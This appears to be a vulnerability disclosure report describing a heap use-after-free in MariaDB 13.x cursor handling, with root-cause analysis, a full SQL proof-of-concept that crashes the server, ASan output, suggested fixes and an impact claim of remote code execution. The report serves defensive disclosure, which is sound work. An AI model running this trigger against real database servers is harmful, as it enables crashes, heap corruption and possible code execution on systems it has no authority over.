MariaDB · Report #3915935
Heap Use-After-Free in Materialized_cursor::open via SYS_REFCURSOR Array Reallocation
How it was found
Describe the vulnerability here.## Summary
MariaDB 13.1.0-alpha (current main branch) contains a heap-use-after-free vulnerability in mysql_open_cursor() that was NOT fixed by MDEV-40396. An authenticated user with CREATE FUNCTION privilege can achieve remote code execution on the database server.
Root Cause
In sp_cursor::open() (sql/sp_rcontext.cc:845):
mysql_open_cursor(thd, &result, &server_side_cursor, cursor_name, return_type)
The addresses &result and &server_side_cursor are members of this (an sp_cursor inside the m_statement_cursors Dynamic_array). During mysql_execute_command() inside mysql_open_cursor(), if the cursor's SELECT calls a function that opens additional SYS_REFCURSORs, the Dynamic_array reallocates its backing buffer, freeing the old memory.
After mysql_execute_command() returns:
- Line 250 (sql/sql_cursor.cc):
materialized_cursor->open(result, 0)— virtual call through danglingresultpointer → instruction pointer control - Line 255:
*pcursor = materialized_cursor— write to danglingpcursor→ heap corruption
MDEV-40396 (fixed Jul 17, 2026) addressed a DIFFERENT manifestation: it removed the select_result* STORED member from Server_side_cursor. But the PARAMETERS passed from sp_cursor::open() to mysql_open_cursor() at the call site (line 845) were NOT changed and remain dangling after reallocation.
Steps to Reproduce
-- MariaDB 13.x with SYS_REFCURSOR support
-- Requires: CREATE FUNCTION privilege
CREATE DATABASE IF NOT EXISTS test;
USE test;
DELIMITER //
-- Function that forces cursor array reallocation (17 > default 16 slots)
CREATE OR REPLACE FUNCTION trigger_realloc() RETURNS INT
BEGIN
DECLARE c1 SYS_REFCURSOR;
DECLARE c2 SYS_REFCURSOR;
DECLARE c3 SYS_REFCURSOR;
DECLARE c4 SYS_REFCURSOR;
DECLARE c5 SYS_REFCURSOR;
DECLARE c6 SYS_REFCURSOR;
DECLARE c7 SYS_REFCURSOR;
DECLARE c8 SYS_REFCURSOR;
DECLARE c9 SYS_REFCURSOR;
DECLARE c10 SYS_REFCURSOR;
DECLARE c11 SYS_REFCURSOR;
DECLARE c12 SYS_REFCURSOR;
DECLARE c13 SYS_REFCURSOR;
DECLARE c14 SYS_REFCURSOR;
DECLARE c15 SYS_REFCURSOR;
DECLARE c16 SYS_REFCURSOR;
DECLARE c17 SYS_REFCURSOR;
OPEN c1 FOR SELECT 1;
OPEN c2 FOR SELECT 1;
OPEN c3 FOR SELECT 1;
OPEN c4 FOR SELECT 1;
OPEN c5 FOR SELECT 1;
OPEN c6 FOR SELECT 1;
OPEN c7 FOR SELECT 1;
OPEN c8 FOR SELECT 1;
OPEN c9 FOR SELECT 1;
OPEN c10 FOR SELECT 1;
OPEN c11 FOR SELECT 1;
OPEN c12 FOR SELECT 1;
OPEN c13 FOR SELECT 1;
OPEN c14 FOR SELECT 1;
OPEN c15 FOR SELECT 1;
OPEN c16 FOR SELECT 1;
OPEN c17 FOR SELECT 1;
RETURN 1;
END//
CREATE OR REPLACE PROCEDURE trigger_uaf()
BEGIN
DECLARE c SYS_REFCURSOR;
OPEN c FOR SELECT trigger_realloc();
END//
DELIMITER ;
SET SESSION max_open_cursors = 100;
CALL trigger_uaf();
-- Server crashes with heap-use-after-free
ASan Output
==61==ERROR: AddressSanitizer: heap-use-after-free on address 0xffffb380f0c0
SUMMARY: AddressSanitizer: heap-use-after-free /opt/mariadb/sql/sql_cursor.cc:250:15
in Materialized_cursor::open(select_result*, JOIN*)
Build: MariaDB 13.1.0-alpha (main branch HEAD, Aug 2026) with -DWITH_ASAN=ON.
Suggested Fix
Pass result and server_side_cursor by refreshing them after mysql_execute_command, not before:
// Option 1: Refresh parameters after execute
// In mysql_open_cursor, after mysql_execute_command returns,
// re-derive result from the current (possibly moved) sp_cursor
// Option 2: Pin the Dynamic_array during cursor open
// Prevent m_statement_cursors from reallocating while
// mysql_open_cursor holds references into it (e.g., reserve capacity)
// Option 3: Store results in a separate non-movable allocation
// Similar to what MDEV-40396 did for Server_side_cursor::select,
// but applied to the call-site parameters
Relationship to MDEV-40396
MDEV-40396 (commit 9b075b2c, Jul 17 2026) fixed a related but DIFFERENT issue:
- MDEV-40396 removed
Server_side_cursor::select(a STORED member that became stale) - THIS BUG: the PARAMETERS
&resultand&server_side_cursorpassed fromsp_cursor::open()tomysql_open_cursor()at the call site (sp_rcontext.cc:845) become stale during execution
The fix at MDEV-40396 did NOT change line 845 of sp_rcontext.cc.
Impact
- Remote Code Execution: The dangling
resultpointer is used for a virtual method call. If the freed memory is reclaimed with attacker-controlled content (via concurrent session allocations), the vtable dispatch executes attacker-controlled code. - Heap Corruption:
*pcursor = materialized_cursorwrites 8 bytes to freed memory, corrupting whatever reuses that allocation. - Privilege Required: CREATE FUNCTION (available to any user with a database, common in shared hosting).
- Affects: MariaDB 13.0.x and 13.1.x (any version with SYS_REFCURSOR support).